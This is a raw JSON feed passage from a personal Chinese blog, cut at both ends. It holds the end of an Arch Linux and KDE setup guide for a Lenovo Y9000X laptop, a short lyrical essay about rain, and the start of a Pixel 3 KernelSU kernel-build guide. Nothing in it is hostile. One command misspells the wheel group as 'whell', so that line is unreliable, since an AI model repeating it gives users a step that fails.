/etc/pacman.d/mirrorlist\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"2\"\u003e\u003cli\u003e安装grub2到boot分区:\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003egrub-install --efi-directory=/mnt/boot --target=x86_64-efi --bootloader-id=想叫啥叫啥\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"系统内核及相关配置\"\u003e\u003ca href=\"#系统内核及相关配置\" class=\"headerlink\" title=\"系统内核及相关配置\"\u003e\u003c/a\u003e系统内核及相关配置\u003c/h3\u003e\u003cp\u003e此时生成同等重要的操作系统核心文件。\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e下次联网用\u003c/span\u003e\u003cbr\u003epacstrap /mnt networkmanager\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e系统重要库\u003c/span\u003e\u003cbr\u003epacstrap /mnt base linux linux-firmware base-devel grub\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003eintel微码(可选)\u003c/span\u003e\u003cbr\u003epacstrap /mnt intel-ucode\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e切换到 /mnt 下\u003c/span\u003e\u003cbr\u003earch-chroot /mnt\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e添加你的用户到\u003cspan class=\"hljs-built_in\"\u003esudo\u003c/span\u003e(wheel)组\u003c/span\u003e\u003cbr\u003euseradd -m -G whell xxx\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e别忘了设置密码\u003c/span\u003e\u003cbr\u003epasswd\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e本地化配置,这里我按照英文来,不然可能会出现中文路径等,我懒得管\u003c/span\u003e\u003cbr\u003evim /etc/locale.gen #取消en_US.UTF-8的注释\u003cbr\u003eecho \u0026#x27;LANG=en_US.UTF-8\u0026#x27; \u0026gt; /etc/locale.conf\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e#\u003c/span\u003e\u003cspan class=\"language-bash\"\u003e修改主机名\u003c/span\u003e\u003cbr\u003enano /etc/hostname\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e#\u003c/span\u003e\u003cspan class=\"language-bash\"\u003e生成引导配置文件,让grub可以找到你的内核入口\u003c/span\u003e\u003cbr\u003egrub-mkconfig -o /boot/grub/grub.cfg\u003cbr\u003eexit\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e生成自动挂载文件\u003c/span\u003e\u003cbr\u003egenfstab -U /mnt \u0026gt; /mnt/etc/fstab\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"桌面环境配置\"\u003e\u003ca href=\"#桌面环境配置\" class=\"headerlink\" title=\"桌面环境配置\"\u003e\u003c/a\u003e桌面环境配置\u003c/h2\u003e\u003cp\u003e操作完上述步骤后,就可以重启进入系统了。但是伟大的arch用户是需要自己安装桌面环境的。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e此文章使用的是kde+wayland,环境为mux方案下的intel+nvidia混显笔记本。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e首先,安装intel的核显驱动,我们暂且搁置傻逼nvidia驱动,把他放在兼容性问题部分介绍;\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003esudo pacman -S mesa lib32-mesa vulkan-intel lib32-vulkan-intel\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后,安装plasma环境;\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003epacman -Syu\u003cbr\u003epacman -S plasma-meta #安装完整的plasma\u003cbr\u003epacman -S plasma-workspace xdg-desktop-portal\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003eN卡用户需要额外安装egl-wayland,xdg-desktop-portal包是为了如obs此类工具录制屏幕使用\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003exdg-desktop-portal包组提供了不同环境下使用的软件包\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e例如kde用户可选择xdg-desktop-portal-kde包\u003c/span\u003e\u003cbr\u003esystemctl enable sddm\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后就可以进入桌面了,其他配置不再赘述。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e需要注意的是fcitx5输入法安装后,可以从系统设置里添加激活,然后在特定文件内写入传统的输入法配置信息,这样子才能在控制台等地方调出输入法。\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"Y9000X兼容性问题\"\u003e\u003ca href=\"#Y9000X兼容性问题\" class=\"headerlink\" title=\"Y9000X兼容性问题\"\u003e\u003c/a\u003eY9000X兼容性问题\u003c/h2\u003e\u003ch3 id=\"声音问题\"\u003e\u003ca href=\"#声音问题\" class=\"headerlink\" title=\"声音问题\"\u003e\u003c/a\u003e声音问题\u003c/h3\u003e\u003cp\u003e先安装一些声音固件相关的模块。\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003esudo pacman -S sof-firmware alsa-firmware alsa-ucm-conf \u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后即使你通过alsa手动开启了扬声器,仍然会发现有声音输出但是扬声器没有声音。\u003c/p\u003e\u003cp\u003e去Arch Forum可以看到有人发表了相关的问题,是因为Y9000X在声音输出与扬声器间有一个功放模块,这个功放模块应该是与杜比音效相关的,如果没有相关的驱动,功放模块无法运作,导致没有实际的声音输出。\u003c/p\u003e\u003cp\u003e得益于有位老哥手动从这个功放模块的开源库做了一个dkms版的补丁,现在可以爽用了。\u003c/p\u003e\u003cp\u003e可以使用yay一键安装这个aur包,其他方式自行搜索这个包。\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003eyay -S legion-y9000x-2022-iah7-sound-fix-dkms\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"MUX方案支持问题(混显-独显)\"\u003e\u003ca href=\"#MUX方案支持问题(混显-独显)\" class=\"headerlink\" title=\"MUX方案支持问题(混显\u0026#x2F;独显)\"\u003e\u003c/a\u003eMUX方案支持问题(混显\u0026#x2F;独显)\u003c/h3\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e驱动不再赘述,自行选择开源还是闭源的,需要注意zen等自定内核,需要使用dkms版本(一定要安装对应的headers)\u003c/span\u003e\u003cbr\u003eyay -S optimus-manager\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e具体的情况可以看我之前的Blog,目前的问题是独显模式下,无法进入桌面吗,但是仍然可以启动其他应用程序。主要还是Optimus-Manger识别不到核显,就直接崩了。\u003c/p\u003e\u003cp\u003e等完美解决了再续写。linux-wechat-qt\u003c/p\u003e\u003ch3 id=\"睡眠后-GPU进入深度睡眠状态无法唤醒\"\u003e\u003ca href=\"#睡眠后-GPU进入深度睡眠状态无法唤醒\" class=\"headerlink\" title=\"睡眠后,GPU进入深度睡眠状态无法唤醒\"\u003e\u003c/a\u003e睡眠后,GPU进入深度睡眠状态无法唤醒\u003c/h3\u003e\u003cp\u003e设置一定时间后进入睡眠状态,可能会导致NVIDIA GPU进入深度睡眠状态,从而无法唤醒,进入SDDM的登陆界面后,会直接卡住,也无法进入TTY,只能进行长按电源强制关机。\u003c/p\u003e\u003cp\u003e调出系统日志后,可以看到类似这种语句:\u003c/p\u003e\u003cfigure class=\"highlight text\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs text\"\u003edrm error failed to read dpcd register 0x60\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个问题在2022年已经有人讨论过了,他们给出的解决方案是去更新以下bios,最新的bios可能修复了这个问题,但是我的bios已经是最新的了。\u003c/p\u003e\u003cp\u003e我发现,我没有在内核参数中增加 \u003ccode\u003eibt=off\u003c/code\u003e 可能是这个问题。\u003c/p\u003e\u003cfigure class=\"highlight text\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs text\"\u003e摘自Arch Wiki-Nvidia页\u003cbr\u003e\u003cbr\u003eNote: 470xx and older drivers may not function correctly on Linux 5.18 (or later) on systems with Intel CPUs 11th Gen and newer[dead link 2024-07-30 ⓘ] due an incompatibility with Indirect Branch Tracking. You can disable it by setting the ibt=off kernel parameter from the boot loader. Be aware, this security feature is responsible for mitigating a class of exploit techniques.\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"工具配置\"\u003e\u003ca href=\"#工具配置\" class=\"headerlink\" title=\"工具配置\"\u003e\u003c/a\u003e工具配置\u003c/h2\u003e\u003cp\u003eOffice可以用LibreOffice或者去官网下载OnlyOffice的app image。OnlyOffice是只负责兼容Ubuntu的,其他系统不进行兼容配置,在arch下是无法过编译的,因为各种配置问题,所以还是老老实实app image吧。\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003eclash\u003c/span\u003e\u003cbr\u003eyay -S clash-verge-rev\u003cbr\u003e\u003cspan class=\"hljs-meta prompt_\"\u003e# \u003c/span\u003e\u003cspan class=\"language-bash\"\u003e备份软件\u003c/span\u003e\u003cbr\u003eyay -S timeshift\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其他软件不再赘述,qq用linuxqq,wechat用wechat-uos-qt。\u003c/p\u003e\u003ch2 id=\"后记\"\u003e\u003ca href=\"#后记\" class=\"headerlink\" title=\"后记\"\u003e\u003c/a\u003e后记\u003c/h2\u003e\u003cp\u003e在这场Arch安装+完全配置竞速中,我取得了一天的好成绩。\u003c/p\u003e\u003cp\u003e一次grub install后忘记grub-mkconfig了,一次忘记mount boot了,一次忘记下载联网工具了,一次忘记设置用户密码了。\u003c/p\u003e\u003cp\u003e我是Arch低手😭😭😭。\u003c/p\u003e","url":"https://xiue233.github.io/2024/08/02/arch-install-for-Y9000X-2022/"},{"title":"《心中的雨,散落在了天边》(2024-7-13随笔)","time":"2024-07-12T22:22:17Z","content":"\u003cblockquote\u003e\n\u003cp\u003e(以此谨记,2024-7-13晨夜,梦中所想。)\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e心中的雨,终究散落在了天边。\u003c/p\u003e\n\u003cp\u003e雨水淅沥,是打碎了树上的花儿,飘零在地面上,还是银河伴着雨水,洒落在了人间?\u003c/p\u003e\n\u003cp\u003e漫天的大雨,让银河敞\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e(以此谨记,2024-7-13晨夜,梦中所想。)\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e心中的雨,终究散落在了天边。\u003c/p\u003e\u003cp\u003e雨水淅沥,是打碎了树上的花儿,飘零在地面上,还是银河伴着雨水,洒落在了人间?\u003c/p\u003e\u003cp\u003e漫天的大雨,让银河敞开心扉,并不是躲在乌云重重,而是游躺在行人脚边。步步涟漪,泛起星光灿烂。\u003c/p\u003e\u003cp\u003e是天边在下雨,是雨水让天边哭泣?还是行人在哭泣,是泪水让行人踟蹰?\u003c/p\u003e\u003cp\u003e天边好像在哭泣,也好像并未哭泣。是谁?让雨水灰蒙了天际?让银河落在脚边?微风携缕缕雨水,缓缓而又绵长地裹挟着行人。是慈爱的母亲,是温柔的长姐,展开温暖的双臂,把你美美地,爱你地抱住。\u003c/p\u003e\u003cp\u003e雨水冲刷了街道,也推搡走了路上行人,行人星星点点,如同雨水,淅淅沥沥。孤独的雨水,却并不孤独,你享受着属于自己的一份温柔。\u003c/p\u003e\u003cp\u003e慢慢地雨停了,乌云散去,瓢走了地上的银河,又将它洒在天际,伴随着晨曦欲出的饱满,是一位情窦初开的少女,泛着清纯而又迷人的双眸,恍惚间,一切遥不可及。\u003c/p\u003e\u003cp\u003e雨停了,可是心中的雨时而淅淅沥沥,时而绵绵悠悠。怨天边的少女过于贪心,瓢起银河,也瓢走了心中的星汉。\u003c/p\u003e\u003cp\u003e雨停了,只留下路上的碎花与泥水凌乱在一起,也许不至于此,而是路上的你,碎花,与泥水,凌乱在一起。\u003c/p\u003e\u003cp\u003e天使的泪水停了,谁人愿意拂去碎花上沾染的泥泞?天边的星河走了,谁人愿意搂起伞具下躲藏的行人?他撑起伞具躲避着的天空,而雨水悄悄地钻进伞下,与他分享着这份独一的甜蜜。\u003c/p\u003e\u003cp\u003e什么是人生,什么是意义,他也许并未懂得。只知,天边的雨停了,心中的雨还在下着。\u003c/p\u003e\u003cp\u003e仿佛心中的雨,散落在了天边,雨声嘈杂。他深爱着陪伴他的丝丝雨水,可心中的嘈杂让他合上了伞具,甩走了粘连着的丝丝缕缕。\u003c/p\u003e\u003cp\u003e快步走吧,在自己被淋湿之前,最好不要回头。\u003c/p\u003e","url":"https://xiue233.github.io/2024/07/13/2024-7-13-essay/"},{"title":"为Pixel3 PixelExperience13Plus内核引入Kernelsu","time":"2024-03-26T09:57:00Z","content":"\u003cblockquote\u003e\n\u003cp\u003e“不喜欢折腾开源项目的程序员不是好的程序员。”————我自己说的\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"概要\"\u003e\u003ca href=\"#概要\" class=\"headerlink\" title=\"概要\"\u003e\u003c/a\u003e概要\u003c/h2\u003e\u003cp\u003e由于买\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e“不喜欢折腾开源项目的程序员不是好的程序员。”————我自己说的\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"概要\"\u003e\u003ca href=\"#概要\" class=\"headerlink\" title=\"概要\"\u003e\u003c/a\u003e概要\u003c/h2\u003e\u003cp\u003e由于买了一个Pixel3的欧版工程机,但是奈何不是GKI设备没有现成的内核拿来刷。转遍Gayhub却没有发现一个比较满意的,遂决定自己编译一个。\u003c/p\u003e\u003cp\u003e但是由于并未尝试过,同时网上的教程并不是很多,也不是很详细,导致遇到问题解决并不快,于是决定写一个博客记录一下。文章重点包含了\u003cstrong\u003e编译流程\u003c/strong\u003e与\u003cstrong\u003e常见错误解决方案\u003c/strong\u003e两大内容,为了防止内容过于耦合,本文先精简地介绍了大概的编译流程,针对常见错误的解决方案则放在其后展开。\u003c/p\u003e\u003cp\u003e感谢\u003ccode\u003ePixelExperience\u003c/code\u003e的官方组,在他们的TG群内提供了相对详细的编译教程,同时把一些常见的错误也列了出来,以及\u003ccode\u003e安全后厨\u003c/code\u003e公众号写的《为Pixel3编译支持kernelsu的内核》的文章。\u003c/p\u003e\u003cp\u003e编译过程中参阅的相关教程链接将会放在文章末尾。\u003c/p\u003e\u003ch2 id=\"编译流程\"\u003e\u003ca href=\"#编译流程\" class=\"headerlink\" title=\"编译流程\"\u003e\u003c/a\u003e编译流程\u003c/h2\u003e\u003cp\u003e由于已经锚定使用Pixel Experience,则介绍其的编译流程。其他的开源系统也大差不差,下文会针对每一步骤的用途进行介绍,行为逻辑是通用的。\u003cdel\u003e绝对不是我刚开始编译LineageOS失败了。\u003c/del\u003e\u003c/p\u003e\u003cp\u003e由于clone下来整个aosp项目后编译内核是十分轻松简单的,所以本文主要针对这个方法进行介绍。如果直接clone诸如kernel_google_bluecross的内核开源库,直接编译后是缺少驱动文件的,需要自己并入特定设备的驱动文件。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eComplete Android OS is composed of three pieces. 1) The official AOSP source code. 2) A device specific kernel. 3) Proprietary binaries for Specific device(Drivers for hardware like camera,sensors etc..).\u003cbr\u003e完整的Android操作系统由三部分组成。 1)AOSP官方源代码。 2) 设备特定的内核。 3) 特定设备的专有二进制文件(相机、传感器等硬件的驱动程序)。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e本文先从编译不加入kernelsu的源码开始,得到验证后再加入kernelsu。\u003c/p\u003e\u003cp\u003e经查阅\u003ca href=\"https://wiki.pixelexperience.org/devices/blueline/build/\"\u003e官方编译WIKI\u003c/a\u003e得知以下步骤。\u003c/p\u003e\u003ch3 id=\"1-硬件配置要求\"\u003e\u003ca href=\"#1-硬件配置要求\" class=\"headerlink\" title=\"(1) 硬件配置要求\"\u003e\u003c/a\u003e(1) 硬件配置要求\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eA relatively recent 64-bit computer (Linux, preferably a recent version of ubuntu) with a reasonable amount of RAM and about 200 GB of free storage (more if you enable ccache or build for multiple devices). The less RAM you have, the longer the build will take. Aim for 16 GB RAM or more, enabling ZRAM can be helpful. Using SSDs results in considerably faster build times than traditional hard drives.\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e需要64位Linux(新版的Ubuntu最好),至少需要16GB的RAM以及200GB的硬盘空间。可以通过加swap大小来缓解内存的不足。\u003c/p\u003e\u003cp\u003e经过实测,编译时会占用20GB的运行内存(主机内存为32GB),同时占用1GB左右的swap;针对thirteen-plus分支,标注–depth\u0026#x3D;1的情况下clone下来后,占用了大概120GB的硬盘空间,在完整编译后占用的磁盘空间达到了226GB。\u003c/p\u003e\u003cp\u003e如果存储空间不足的话,还是不推荐尝试了。(至少花钱买个磁盘,交个学费)\u003c/p\u003e\u003ch3 id=\"2-编译前戏\"\u003e\u003ca href=\"#2-编译前戏\" class=\"headerlink\" title=\"(2) 编译前戏\"\u003e\u003c/a\u003e(2) 编译前戏\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003eAndroid SDK platform tools是刷机不可少的,可自行下载;\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e一堆需要的相关工具\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003eadb autoconf automake axel bc bison build-essential \u003cbr\u003e ccache clang cmake curl expat fastboot flex g++ \u003cbr\u003e g++-multilib gawk gcc gcc-multilib git git-lfs gnupg gperf \u003cbr\u003e htop imagemagick lib32ncurses5-dev lib32z1-dev libtinfo5 libc6-dev libcap-dev \u003cbr\u003e libexpat1-dev libgmp-dev ‘^liblz4-.\u003cem\u003e‘ ‘^liblzma.\u003c/em\u003e‘ libmpc-dev libmpfr-dev libncurses5-dev \u003cbr\u003e libsdl1.2-dev libssl-dev libtool libxml2 libxml2-utils ‘^lzma.*’ lzop \u003cbr\u003e maven ncftp ncurses-dev patch patchelf pkg-config pngcrush \u003cbr\u003e pngquant python2.7 python-all-dev re2c schedtool squashfs-tools subversion \u003cbr\u003e texinfo unzip w3m xsltproc zip zlib1g-dev lzip \u003cbr\u003e libxml-simple-perl libswitch-perl apt-utils rsync \\\u003c/p\u003e\u003cp\u003e由于构建编译环境东西较多,可以直接使用大佬开源的构建脚本。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://github.com/akhilnarang/scripts/blob/master/setup/android_build_env.sh\"\u003eakhilnarang\u0026#x2F;scripts\u0026#x2F;android_build_env.sh\u003c/a\u003e\u003c/p\u003e\u003cp\u003e用法:\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003esudo apt install git\u003cbr\u003ecd ~/ //你的工作目录,可更改\u003cbr\u003egit clone https://github.com/akhilnarang/scripts\u003cbr\u003ecd scripts\u003cbr\u003e./setup/android_build_env.sh\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e3.需要安装repo,它是用来解决clone AOSP这种超大项目的工具。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eRepo(一种对 Git 构成补充的 Google 代码库管理工具)Repo 可以在必要时整合多个 Git 代码库,将相关内容上传到 Gerrit 修订版本控制系统,并自动执行 Android 开发工作流程的部分环节。\u003cbr\u003eRepo 启动器会提供一个 Python 脚本,该脚本可以初始化检出,并可以下载第二部分,即完整的 Repo 工具。完整的 Repo 工具包含在 Android 源代码检出中。该工具默认位于 $SRCDIR\u0026#x2F;.repo\u0026#x2F;repo\u0026#x2F;… 中,可以从下载的 Repo 启动器接收转发的命令。\u003cbr\u003eRepo 不会取代 Git,只会让您在 Android 环境中对 Git 的使用更加轻松。Repo 使用清单文件将 Git 项目汇总到 Android 超级项目中。您可以将 repo 命令(这是一个可执行的 Python 脚本)放在路径中的任何位置。使用 Android 源代码文件时,您可以使用 Repo 执行跨网络操作,例如使用一个 Repo 工作目录。\u003cbr\u003e在大多数情况下,您可以仅使用 Git(不必使用 Repo),或结合使用 Repo 和 Git 命令以组成复杂的命令。不过,使用 Repo 执行基本的跨网络操作可大大简化您的工作。如需详细了解 Repo,请参阅 Repo 命令参考资料、Repo README、可在 Repo 中启用的预上传钩子(测试)以及 AOSP 中的通用文档。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e可以如此安装(如果可以通过仓库安装更好):\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003emkdir -p ~/bin\u003cbr\u003ecurl https://storage.googleapis.com/git-repo-downloads/repo \u0026gt; ~/bin/repo\u003cbr\u003echmod a+x 